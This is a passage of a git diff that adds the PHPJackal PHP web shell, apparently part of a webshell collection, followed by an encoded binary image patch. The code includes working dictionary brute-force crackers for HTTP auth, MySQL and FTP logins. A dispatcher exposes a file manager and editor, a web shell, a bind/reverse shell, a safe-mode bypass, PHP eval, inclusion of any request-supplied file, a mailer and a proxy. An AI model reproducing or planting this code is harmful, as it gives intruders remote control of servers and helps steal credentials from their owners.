application/x-www-form-urlencoded\r\nContent-Length: ".strlen($data); +$packet.="\r\n\r\n"; +$packet.=$data; +fputs($so,$packet); +$res=substr(fgets($so),9,2); +fclose($so); +if($res=='20')echo "U: $user P: $pass</br>"; +flusheR(); +} +} +echo "Done!</font>"; +}else echo "<center><form method=\"POST\" name=form>${t}HTTP Auth cracker:</td><td bgcolor=\"#333333\"><select name=method><option value=1>POST</option><option value=0>GET</option></select></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\">Dictionary:</td><td bgcolor=\"#666666\"><input type=text name=dictionary size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Dictionary type:</td><td bgcolor=\"#808080\"><input type=radio name=combo checked value=0 onClick=\"document.form.user.disabled = false;\" style=\"border-width:1px;background-color:#808080;\">Simple (P)<input type=radio value=1 name=combo onClick=\"document.form.user.disabled = true;\" style=\"border-width:1px;background-color:#808080;\">Combo (U:P)</td></tr><tr><td width=\"20%\" bgcolor=\"#666666\">Username:</td><td bgcolor=\"#666666\"><input type=text size=35 value=root name=user></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Server:</td><td bgcolor=\"#808080\"><input type=text name=target value=localhost size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right>$hcwd<input class=buttons type=submit value=Start></td></tr></form></table></center>"; +} +function sqlcrackeR(){ +global $errorbox,$t,$et,$crack; +if (!function_exists("mysql_connect")){ +echo "$errorbox Server does n`t support MySQL$et"; +} +else{ +if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ +$target=$_REQUEST['target']; +$type=$_REQUEST['combo']; +$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:""; +$dictionary=fopen($_REQUEST['dictionary'],'r'); +if ($dictionary){ +echo "<font color=blue>Cracking ".htmlspecialchars($target)."...<br>"; +while(!feof($dictionary)){ +if($type){ +$combo=trim(fgets($dictionary)," \n\r"); +$user=substr($combo,0,strpos($combo,':')); +$pass=substr($combo,strpos($combo,':')+1); +}else{ +$pass=trim(fgets($dictionary)," \n\r"); +} +$sql=@mysql_connect($target,$user,$pass); +if($sql){echo "U: $user P: $pass (<a href=\"".hlinK("seC=mysql&serveR=$target&useR=$user&pasS=$pass&querY=SHOW+DATABASES&workingdiR=".getcwd())."\">Connect</a>)<br>";mysql_close($sql);if(!$type)break;} +flusheR(); +} +echo "<br>Done</font>"; +fclose($dictionary); +} +else{ +echo "$errorbox Can not open dictionary.$et"; +} +} +else{ +echo "<center>${t}MySQL cracker:$crack"; +} +} +} +function ftpcrackeR(){ +global $errorbox,$t,$et,$crack; +if (!function_exists("ftp_connect"))echo "$errorbox Server does n`t support FTP functions$et"; +else{ +if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ +$target=$_REQUEST['target']; +$type=$_REQUEST['combo']; +$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:""; +$dictionary=fopen($_REQUEST['dictionary'],'r'); +if ($dictionary){ +echo "<font color=blue>Cracking ".htmlspecialchars($target)."...<br>"; +while(!feof($dictionary)){ +if($type){ +$combo=trim(fgets($dictionary)," \n\r"); +$user=substr($combo,0,strpos($combo,':')); +$pass=substr($combo,strpos($combo,':')+1); +}else{ +$pass=trim(fgets($dictionary)," \n\r"); +} +if(!$ftp=ftp_connect($target,21,8)){echo "$errorbox Can not connect to server.$et";break;} +if (@ftp_login($ftp,$user,$pass)){echo "U: $user P: $pass<br>";if(!$type)break;} +ftp_close($ftp); +flusheR(); +} +echo "<br>Done</font>"; +fclose($dictionary); +} +else{ +echo "$errorbox Can not open dictionary.$et"; +} +} +else echo "<center>${t}FTP cracker:$crack"; +}} +function openiT($name){ +$ext=strtolower(substr($name,strrpos($name,'.')+1)); +$src=array('php','php3','php4','phps','phtml','phtm','inc'); +if(in_array($ext,$src))highlight_file($name); +else echo "<font color=blue><pre>".htmlspecialchars(file_get_contents($name))."</pre></font>"; +} +function logouT(){ +setcookie('passw','',time()-10000); +header('Location: '.hlinK()); +} +?> +<html> +<head> +<style>body{scrollbar-base-color: #484848; scrollbar-arrow-color: #FFFFFF; scrollbar-track-color: #969696;font-size:16px;font-family:"Arial Narrow";}Table { font-size: 15px; } .buttons{font-family:Verdana;font-size:10pt;font-weight:normal;font-style:normal;color:#FFFFFF;background-color:#555555;border-style:solid;border-width:1px;border-color:#FFFFFF;}textarea{border: 0px #000000 solid;background: #EEEEEE;color: #000000;}input{background: #EEEEEE;border-width:1px;border-style:solid;border-color:black}select{background: #EEEEEE; border: 0px #000000 none;}</style> +<meta http-equiv="Content-Language" content="en-us"> +<title>PHPJackal</title> +</head><body text="#E2E2E2" bgcolor="#C0C0C0" link="#DCDCDC" vlink="#DCDCDC" alink="#DCDCDC"> +<table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#282828" bgcolor="#333333" width="100%"> +<tr><td><a href=javascript:history.back(1)>[Back]</a> - <a href="<?php $cwd= getcwd(); echo hlinK("seC=sysinfo&workingdiR=$cwd");?>">[Info]</a> - <a href="<?php echo hlinK("seC=fm&workingdiR=$cwd");?>">[File manager]</a> - <a href="<?php echo hlinK("seC=edit&workingdiR=$cwd");?>">[Editor]</a> - <a href="<?php echo hlinK("seC=webshell&workingdiR=$cwd");?>">[Web shell]</a> - <a href="<?php echo hlinK("seC=br&workingdiR=$cwd");?>">[B/R shell]</a> - <a href="<?php echo hlinK("seC=asm&workingdiR=$cwd");?>">[Safe-mode]</a> - <a href="<?php echo hlinK("seC=mysql&workingdiR=$cwd"); ?>">[SQL]</a> - <a href="<?php echo hlinK("seC=mailer&workingdiR=$cwd"); ?>">[Mailer]</a> - <a href="<?php echo hlinK("seC=eval&workingdiR=$cwd");?>">[Evaler]</a> - <a href="<?php echo hlinK("seC=sc&workingdiR=$cwd"); ?>">[Scanners]</a> - <a href="<?php echo hlinK("seC=cr&workingdiR=$cwd");?>">[Crackers]</a> - <a href="<?php echo hlinK("seC=px&workingdiR=$cwd");?>">[Pr0xy]</a> - <a href="<?php echo hlinK("seC=whois&workingdiR=$cwd");?>">[Whois]</a> - <a href="<?php echo hlinK("seC=calc&workingdiR=$cwd");?>">[Convert]</a> - <a href="<?php echo hlinK("seC=about&workingdiR=$cwd");?>">[About]</a> <?php if(isset($_COOKIE['passw'])) echo "- [<a href=\"".hlinK("seC=logout")."\">Logout</a>]";?></td></tr></table> +<hr size=1 noshade> +<?php +if (!empty($_REQUEST['seC'])){ +switch($_REQUEST['seC']){ +case 'fm':filemanager();break; +case 'sc':scanneR();break; +case 'phpinfo': phpinfo();break; +case 'edit': if (!empty($_REQUEST['open']))editoR($_REQUEST['filE']); +if (!empty($_REQUEST['Save'])){ +$filehandle= fopen($_REQUEST['file'],"w"); +fwrite($filehandle,$_REQUEST['edited']); +fclose($filehandle);} +if (!empty($_REQUEST['filE'])) editoR($_REQUEST['filE']);else editoR(''); +break; +case 'openit':openiT($_REQUEST['namE']);break; +case 'cr': crackeR();break; +case 'dic':dicmakeR();break; +case 'whois':whoiS();break; +case 'hex':hexvieW();break; +case 'img':showimagE($_REQUEST['filE']);break; +case 'inc':include ($_REQUEST['filE']);break; +case 'hc':hashcrackeR();break; +case 'fcr':formcrackeR();break; +case 'snmp':snmpcrackeR();break; +case 'sql':sqlcrackeR();break; +case 'auth':authcrackeR();break; +case 'pop3':pop3crackeR();break; +case 'imap':imapcrackeR();break; +case 'smtp':smtpcrackeR();break; +case 'ftp':ftpcrackeR();break; +case 'eval':phpevaL();break; +case 'px':pr0xy();break; +case 'webshell':webshelL();break; +case 'mailer':maileR();break; +case 'br':brshelL();break; +case 'asm':safemodE();break; +case 'mysql':mysqlclienT();break; +case 'calc':calC();break; +case 'sysinfo':sysinfO();break; +case 'checksum':checksuM($_REQUEST['filE']);break; +case 'logout':logouT();break; +default: echo $intro; +}}else echo $intro; +echo $footer;?></body></html> \ No newline at end of file diff --git a/php/PHPshell/【PHPJackal】/PHPJackal.jpg b/php/PHPshell/【PHPJackal】/PHPJackal.jpg new file mode 100644 index 0000000000000000000000000000000000000000..ad1d5e381b24620aa2c2aef879d66f7c0c5316ec GIT binary patch literal 105606 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 